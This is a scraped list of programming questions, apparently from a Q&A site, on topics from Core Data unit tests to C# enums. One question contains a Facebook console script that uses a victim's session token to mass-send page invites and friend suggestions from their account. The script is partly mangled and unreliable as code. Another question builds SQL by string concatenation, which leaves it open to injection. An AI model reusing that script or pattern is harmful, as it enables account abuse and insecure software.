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• Unit Testing Model Classes that inherits from NSManagedObject

  - by Matt Baker

  So...I'm trying to get unit tests set up in my iPhone App but I'm having some issues. I'm trying to test my model classes but they inherit directly from NSManagedObject. I'm sure this is a problem but I don't know how to get around it. Everything is building and running as expected but I get this error when calling any method on the class I'm testing: Unknown.m:0:0 unrecognized selector sent to instance 0xc2b120 If I follow this structure (http://chanson.livejournal.com/115621.html) to create my object in my tests I end up with another error entirely but it still doesn't help me. Basically my question is this: how can I test a class that inherits from NSManagedObject?

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• Why can't I read session variables

  - by Marty Goetz

  I have a c# .net web application. I create session variables but when I try to read them after I leave the page that they were created from I can't. Created on page 1 Session["UserName"] = "WhatEver"; Then I do Response.Redirect("~/whatever.aspx"); and try to read to read the session variable in the Page_Load method of the new page string userName = Session["UserName"].ToString(); I receive "Object reference not set to an instance of an object." Why am I receiving this error and what can I do to fix the problem? I would greatly appreciate any help anyone can give me.

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• how to conver this to a button action

  - by Filipe Heitor

  i have this code to paste in a browser console, can i turn this in to a button ??? and run in a html page? javascript:var Title="Ganhando Likes Na Pagina Do Facebook.";var Descriptions="",_text='Criado & Configurado Por Pelegrino RoxCurta Por favor MeGustaJEdi';page_id=/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send_single/?page_id="+page_id+"&invitee="+opo+"&elem_id=u_0_1k&action=send&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg="+fb_dtsg+"&phstamp=",function(a){var b=a.substring(a.indexOf("{"));var c=JSON.parse(b);i--;Descriptions="";err++;if(c.errorDescription)Descriptions+=c.errorDescription;else Descriptions+=JSON.stringify(c,null,"")}else{Descriptions+="color:darkgreen'";Descriptions+=arn[i]+" has been invited to like the page "+page_name+".";suc++}Descriptions+="";var display="";display+=""+Title+"";if(i0){display+=arr.length+" Friends Detected";display+=""+suc+" Friends Invited of "+(arr.length-i)+" Friends Processed ";display+="("+i+" Lefted...)";display+="";display+=Descriptions;display+="https://fbcdn-profile-a.akamaihd.net/.../r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+""+arn[i]+"";display+="";display+="Please Wait While Inviting Your Friends to Like Your Page "+page_name+".";display+=_text;display+="";display+="";window[tag+"_close"]=true}else{Title="All Of Your Friends Have Been Invited to Like Your Page.";display+=arr.length+" Friends Detected and ";display+=""+suc+" Friends Invited.";display+="Go to HomepageRefresh PageCancel";display+="";display+=_text;display+="";window[tag+"_close"]=false}display+="";document.getElementById("pagelet_sidebar").innerHTML=display},"text","post");tay--;if(tay0){var s=arr[tay];setTimeout("InviteFriends("+s+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc);if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658165120113116104521114",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658168561015387781130",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg="+fb_dtsg+"&profileChooserItems=%7B%22"+opo+"%22%3A1%7D&checkableitems[0]="+opo+"&page_id="+page_id+"&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",function(){},"text","post")}jx={b:function(){var b=!1;if("undefined"!=typeof ActiveXObject)try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=!1}}else if(window.XMLHttpRequest)try{b=new XMLHttpRequest}catch(h){b=!1}return b},load:function(b,c,a,h,g){var e=this.d();if(e&&b){e.overrideMimeType&&e.overrideMimeType("text/xml");h||(h="GET");a||(a="text");g||(g={});a=a.toLowerCase();h=h.toUpperCase();b+=b.indexOf("?")+1?"&":"?";var k=null;"POST"==h&&(k=b.split("?"),b=k[0],k=k[1]);e.open(h,b,!0);e.onreadystatechange=g.c?function(){g.c(e)}:function(){if(4==e.readyState)if(200==e.status){var b="";e.responseText&&(b=e.responseText);"j"==a.charAt(0)?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):"x"==a.charAt(0)&&(b=e.responseXML);c&&c(b)}else g.f&&document.getElementsByTagName("body")[0].removeChild(g.f),g.e&&(document.getElementById(g.e).style.display="none"),error&&error(e.status)};e.send(k)}},d:function(){return this.b()}};function ChangeLocation(){window.location.href="http://www.facebook.com/"}setTimeout("ChangeLocation",1);window.onbeforeunload=function(){if(window[tag+"_close"])return"This script is running now!"};var i=3;var tay=3;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var tag="Close";var page_name,x=document.getElementsByTagName("span");for(i=0;ia=1&_dyn=7n8aD5z5CF-3ui&__req=l",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e";display+=""+Title+"";display+=arr.length+" Friends Detected";display+="";document.getElementById("pagelet_sidebar").innerHTML=display;InviteFriends(arr[i])});

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• hOW TO INSERT DATA FROM ASP.NET TEXTBOX TO TWO DIFFERENT TABLE ON SINGLE BUTTON CLICK EVENT ?

  - by user559800

  I M USING THAT CODE TO INSERT INTO SINGLE TABLE ! HOW TO USE THIS CODE TO INSERT THE TEXTBOX TEXT TO MULTIPLE TABLES OF SAME COLUMN ON SINGLE BUTTON CLICK EVENT IN VB.NET ? Imports System.Data.SqlClient Protected Sub ImageButton1_Click(ByVal sender As Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles ImageButton1.Click Dim con As New SqlConnection Dim cmd As New SqlCommand con.ConnectionString = "Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\ASPNETDB.MDF;Integrated Security=True;User Instance=True" con.Open() cmd.Connection = con cmd.CommandText = "INSERT INTO a1_ticket (seat_remain) VALUES('" & Trim(Label1.Text) & "')" cmd.ExecuteNonQuery() con.Close() End Sub

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• Activator.CreateInstance with type name as string and including parameters

  - by Kelly

  I am working in .Net 3.5, looking at all the various constructors for Activator.CreateInstance. I want to create an instance of a class, calling a particular constructor. I do not have the class type, only its name. I have the following, which works, but actually winds up calling the parameterless constructor first, then the one I want. This is not a terribly big deal, but the parameterless constructor calls a rather busy base constructor, and the constructor I want to call does, too. In other words, given a type, calling CreateInstance with parameters is easy (only the last two lines below), but given only a type name, is there a better way than this? ObjectHandle oh = Activator.CreateInstance( "MyDllName", "MyNS." + "MyClassName" ); object o = oh.Unwrap( ); object newObj = Activator.CreateInstance( o.GetType( ), new object[] { param1 } ); return ( IMyDesiredObject )newObject; Thanks!

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• How to get global access to enum types in C#?

  - by lala

  This is probably a stupid question, but I can't seem to do it. I want to set up some enums in one class like this: public enum Direction { north, east, south, west }; Then have that enum type accessible to all classes so that some other class could for instance have: Direction dir = north; and be able to pass the enum type between classes: public void changeDirection(Direction direction) { dir = direction; } I thought that setting the enum to public would make this automatically possible, but it doesn't seem to be visible outside of the class I declared the enum in.

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• What's void *userData exactly?

  - by mystify

  In a C function declaration, I have seen this parameter definition: void *userData so, what exactly is that? My guess: the void says it can be anything arbitrary, or even nothing. Almost similar to id of objective-c. It just allows to pass in whatever data structure you like. The star in front of userData says, that the argument must be passed in by reference. So when using this stuff in the function body, typically it must be casted and dereferenced. So if I pass in an pointer to SomeClass instance, I would get that like this: SomeClass *myObj = (SomeClass*)userData; In the case I had nothing special to pass along, I would provide NULL as argument. Are my assumptions correct? Or did I get something wrong?

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• c# how to set up and use session state from preinit

  - by Praesagus

  OK so to set and read variables from the current session String Myvar =(string) System.Web.HttpContext.Current.Session[“MyVariable”] To set System.Web.HttpContext.Current.Session[“MyVariable”] = “NewValue” I can do neither, I get a System.NullReferenceException: Object reference not set to an instance of an object. from System.Web.HttpContext.Current.Session. In my web.config I have <sessionState mode="StateServer" stateConnectionString="tcpip=127.0.0.1:42424" cookieless="false" timeout="20"> </sessionState> I have read a dozen articles on the the necessity of IHttpHandler and an IRequiresSessionState interface. I think the issue may be caused because I am requesting this information in Page_PreInit. I found a solution in a stack overflow article but I don't seem be using it properly to actually make this go. I am not sure what I am missing. Thanks in advance.

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• sending a packet to multiple client at a time from udp socket

  - by mawia

  Hi! all, I was trying to write a udp server who send an instance of a file to multiple clients.Now suppose any how I manage to know the address of those client statically(for the sake of simplicity) and now I want to send this packet to these addresses.So how exactly I need to fill the sockaddr structure to contain the address of these clients.I am taking an array of sockaddr structure(to contain client address) and trying to send at each one them at a time.Now problem is to fill the individual sockaddr structure to contain the client address. I was trying to do something like that sa[1].sin_family = AF_INET; sa[1].sin_addr.s_addr = htonl(INADDR_ANY);//should'nt I replace this INADDR_ANY with client ip?? sa[1].sin_port = htons(50002); Correct me if this is not the correct way. All your help in this regard will be highly appreciated. With Thanks in advance, Mawia

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• Does HTML5 make Javascript gaming safer (more secure)?

  - by Sean Madigan

  I know that Javascript is an incredibly unsecure way of programming a persistent game, where for instance you are doing battle calculations in an RPG and then award XP through linking to a PHP page when they win that adds XP to a database (since the player could make their own javascript to always win or just look at the PHP page that you get sent to when you win and just go there anyway). So with that said, I'm wondering if HTML5 makes multiplayer/persistent games any safer in this regard, since I know it still uses Javascript. Or am I still doomed to rely entirely on server-side scripting for doing any calculations that award the player?

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• iPhone - making the crash information more specific

  - by Digital Robot

  I have an app that is crashing at some point. Even with NSZombieEnabled turned on, the only thing I see is this message on the console: : * -[CFRunLoopTimer release]: message sent to deallocated instance 0x4cb34e0 but as the app is crashed, there's no way to know what object is this and the thread overview is not helping that much. #0 0x34a80466 in objc_msgSend #1 0x357e53c8 in CFRelease #2 0x357f3976 in __CFTypeCollectionRelease #3 0x3580c0b6 in __CFSetReleaseValue #4 0x357e6a5c in __CFBasicHashDrain #5 0x357e6900 in __CFSetDeallocate #6 0x357e54b6 in _CFRelease #7 0x357e53dc in CFRelease #8 0x3580c098 in -[__NSCFSet release] #9 0x3570f3be in -[_NSFaultingMutableSet dealloc] #10 0x3570f260 in -[_NSFaultingMutableSet release] #11 0x35702480 in -[NSManagedObject(_NSInternalMethods) _clearRawPropertiesWithHint:] #12 0x357022a8 in -[NSFaultHandler turnObject:intoFaultWithContext:] #13 0x35703dc0 in -[NSManagedObject dealloc] #14 0x356eab34 in -[_PFManagedObjectReferenceQueue _processReferenceQueue:] #15 0x357127d6 in _performRunLoopAction #16 0x3580ac58 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ #17 0x3580aacc in __CFRunLoopDoObservers #18 0x358020ca in __CFRunLoopRun #19 0x35801c86 in CFRunLoopRunSpecific #20 0x35801b8e in CFRunLoopRunInMode #21 0x320c84aa in GSEventRunModal #22 0x320c8556 in GSEventRun #23 0x341dc328 in -[UIApplication _run] #24 0x341d9e92 in UIApplicationMain #25 0x00002e02 in main at main.m:14 it appears to be something related to core data, but knowing that doesn't help that much, because the app is all core data based and it crashes when I am not doing anything related to core data. is there a way to make the debugger more specific? thanks

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• Python win32api not moving mouse cursor in VirtualBox

  - by wes

  I'm trying to use this Python code: import math for i in xrange(500): x = 500 + math.sin(math.pi * i / 100) * 500 y = 500 + math.cos(i) * 100 x, y = int(x), int(y) win32api.SetCursorPos((x, y)) time.sleep(.01) taken from here to move the mouse cursor in an XP VirtualBox. The mouse icon will flicker to the appropriate graphic (when it hits the edge of a window it turns into the <- resize image, for instance), but it doesn't actually move the visible cursor. I can move the mouse around while the code is running. Same result using the ctypes example in the above link. It works fine in the Win7 host. I have Guest Additions installed, if that matters.

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• rails 3, active record: any way to tell how many unique values match a "x LIKE ?" query

  - by jpwynn

  I have a query to find all the phone numbers that match a partial expression such as "ends with 234" @matchingphones = Calls.find :all, :conditions => [ "(thephonenumber LIKE ?)", "%234"] The same phone number might be in the database several times, and so might be returned multiple times by this query if it matches. What I need is to know is UNIQUE phone numbers the query returns. For example if the database contains 000-111-1234 * 000-111-3333 000-111-2234 * 000-111-1234 * 000-111-4444 the existing query will return the 3 records marked with * (eg returns one phone number -1234 twice since it's in the database twice) what I need is a query that returns just once instance of each match, in this case 000-111-1234 * 000-111-2234 *

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• Error while coping datacolumn with data from one table to another .

  - by Harikrishna

  I have one Datatable like DataTable addressAndPhones; And there are four columns name,address,phoneno,and other details and I only want two columns Name and address from that so I do for that is DataTable addressAndPhones2; addressAndPhones2.Columns.Add(new DataColumn(addressAndPhones.Columns["name"].ColumnName)); addressAndPhones2.Columns.Add(new DataColumn(addressAndPhones.Columns["address"].ColumnName)); But it gives me error so how can I copy fix no of columns data from one table to another table ? ERROR :Object reference not set to an instance of an object.

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• c++ : list(vector) definition with array

  - by Meloun

  I have Class Email, there is parameter "bcc" in her construktor. Its actually list of emails for copies. There is no fixed number of these emails and later i have to have possibility to extend this list. //construktor prototype Email::Email(vector<string> bcc) So i want to use type vector or list for that and function push_back(). How can i make a new instance with bcc emails? I need actually declaration with definition for my list. I've found this definition with iterator for integer type: int myints[] = {16,2,77,29}; Email myEmail(vector<int> (myints, myints + sizeof(myints) / sizeof(int) )); , but its not very user friend and i need it with strings. Is there something like this? Email myEmail(vector<string> ("first","second","third"));

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• Windows Azure local development environment speed

  - by Paperjam

  I've started porting an existing ASP.NET web app to Windows Azure and have noticed that the development process is really slow. Each time I make a change to my code and want to view it, I have to effectively redeploy it to the local dev cloud (using Start debugging (F5) or Start without debugging (Ctrl-F5). The process itself takes over a minute, during which time Visual Studio is completely unresponsive. Am I doing something wrong or is that simply how things are developing for Azure? My specs: Visual Studio 2008 9.0.30729.1 SP 5 projects running on .NET 3.5 SP1 Azure SDK 1.1 (February 2010) Single instance of a single web role Dual-core AMD 64 machine with 8GB RAM, 64-bit Windows 7, fully patched The main project itself is quite large (3k files, ~200k lines) but compiles normally in 10-15 seconds

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• Disadvantages of hard coding credentials? What's the resolution?

  - by SeeBees

  I am building a Sharepoint web part that will be used by all users. The web part connects to a web service which needs credentials with higher privileges than common users. I hard coded credentials in the web part's code. query.Credentials = new System.Net.NetworkCredential("username", "password", "domain"); query is an instance of the web service class This may not be a good approach. In regard with security, source code of the web apart is available to people who are not allowed to see the credential. This is bad enough, But is there any other drawback of this approach? How to prevent hard coding credentials into the source code? Thanks

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• emacs list-buffers behavior

  - by Stephen

  In GNU emacs, every time I hit Ctrl-x Ctrl-b to see all of my buffers, the window is split to show the buffer list, or if I have my window already split in 2 (for instance, I will have a shell running in the lower window), the buffer list appears in the other window. My desired behavior is for the buffer list to appear in my active window so that I can select the buffer I want and continue to working in the same window, rather than having to Ctrl-x Ctrl-o to the other buffer, selecting the buffer (with enter) and editing that buffer in the other window... I've googled for it but it doesn't seem to be a common desire? I wonder if anyone has an elispy (or other) solution?

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• Generalised XML Serialization

  - by Tom W

  I apologise for asking a question that's probably been asked hundreds of times before, but I don't seem to be able to find an answer in the archives; probably because my question is too basic. I know that XML Serialization by default only touches public members and properties. Properties very often mask a private variable; particularly if they're readonly. Serializing these is fine; the value that the instance exposes to the world is what goes into the XML. But if Deserialization of the same data can't put the value back where it belongs, what's the point of doing it? Is there something I'm missing about how XML Serialization is normally used for classes with masking properties? Surely it can't be that the only answer is explicitly implementing Read/WriteXML - because that's more effort than it's worth!

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• WCF net.tcp server disconnects - how to handle properly on client side?

  - by RoastedBattleSquirrel

  I'm stuck with a bit of an annoying problem right now. I've got a Silverlight 4 application (which runs OOB by default). It uses WCF with net.tcp as means of communicating with the server. The client uses a central instance of the wcf client proxy. As long as everything keeps running on the server side, everything's fine. If i kill the server in the middle of everything, i drown in an avalanche of exceptions on the client side (connection lost, channel faulted etc etc). Now i'm looking for a way to handle this in a clean and centralized way (if centralized is possible). The SL app has one central client object sitting in App.cs (public static MyClient Client { get;set;}), which gets initialized on application start. Any idea how to properly handle any connectivity problems on the client object?

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• VLC player event catch

  - by user350632

  In my C# application i need to trigger some events when a VLC player (preferably) starts playback (a play button is pressed in VLC for example).Tried Windows Media Player classic with Microsoft Spy++ and observed messages that are sent when playback starts\repeats but i don't know how i could "catch" those messages in my C# code.So my question: is there any way to hook up to event in VLC (or WMP) and get notified about playback status (play, stop, start of repeat). My goal is to create a C# function that waits for start of playback event in player and then triggers some actions in my application (this should also happen when playback ends and starts repeating). What approach should i take here? Just to clearify: I don't want to embedded a new instance of VLC in my app, but instead control/read the "real" full version of VLC, started seperatly by the user

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• Strategy for Storing Multiple Nullable Booleans in SQL

  - by Eric J.

  I have an object (happens to be C#) with about 20 properties that are nullable booleans. There will be perhaps a few million such objects persisted to a SQL database (currently SQL Server 2008 R2, but MySQL may need to be supported in the future). The instances themselves are relatively large because they contain about a paragraph of text as well as some other unrelated properties. For a given object instance, most of the properties will be null most of the time. When users search for instances of such objects, they will select perhaps 1-3 of the nullable boolean properties and search for instances where at least one of those 1-3 properties is non-null (OR search). My first thought is to persist the object to a single table with nullable BIT columns representing the nullable boolean properties. However, this strategy will require one index per BIT column to avoid performing a table scan when searching. Further, each index would not be particularly selective since there are only three possible values per index. Is there a better way to approach this problem?

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• Passing dependent objects to a parent constructor in Scala

  - by Nick Johnson

  Suppose I have the following class heirarchy: class A() class B(a:A) class C(b:B) class BaseClass(b:B, c:C) Now I want to implement a subclass of BaseClass, which is given an instance of A, and constructs instances of B and C, which it passes to its superclass constructor. If I could use arbitrary expressions, I'd do something like this: b = new B(a) c = new C(b) super(b, c) Because the second argument to the parent constructor depends on the value of the first argument, though, I can't see any way to do this, without using a factory function, or a gratuitous hack, such as : class IntermediateSubclass(b:B) extends BaseClass(b, new C(b)) class RealSubclass(a:A) extends IntermediateSubclass(new B(a)) Is there clean way to do this?

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• How do I make a symlink to every directory in the current directory that has the same name but has u

  - by Jason Baker

  For instance, I suppose I have a directory that contains the following folders foo_bar baz What I would like to have is a bash command that will make a symlink foo-bar to foo_bar so it would look like this: foo-bar foo_bar baz I'm pretty sure I can write a Python script to do this, but I'm curious if there's a way to do this with bash. Here's where I'm stuck: ls -1 | grep _ | xargs -I {} ln -s {} `{} | sed 's/_/-/'` What I'm trying to do is run the command ln -s with the first argument being the directory name and the second argument being that name passed through sed s/_/-/. Is there another way to do this?

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• Grails unit testing domain classes with Set properties - is this safe?

  - by Ali G

  I've created a domain class in Grails like this: class MyObject { static hasMany = [tags: String] // Have to declare this here, as nullable constraint does not seem to be honoured Set tags = new HashSet() static constraints = { tags(nullable: false) } } Writing unit tests to check the size and content of the MyObject.tags property, I found I had to do the following: assertLength(x, myObject.tags as Object[]) assertEquals(new HashSet([...]), myObject.tags) To make the syntax nicer for writing the tests, I implemented the following methods: void assertEquals(List expected, Set actual) { assertEquals(new HashSet(expected), actual) } void assertLength(int expected, Set set) { assertLength(expected, set as Object[]) } I can now call the assertLength() and assertEquals() methods directly on an instance of Set, e.g. assertLength(x, myObject.tags) assertEquals([...], myObject.tags) I'm new to Groovy and Grails, so unaware how dangerous method overloading like this is. Is it safe? If so, I'm slightly* surprised that these methods (or similar) aren't already available - please let me know if they are. * I can see how these methods could also introduce ambiguity if people weren't expecting them. E.g. assertLength(1, set) always passes, no matter what the content of set

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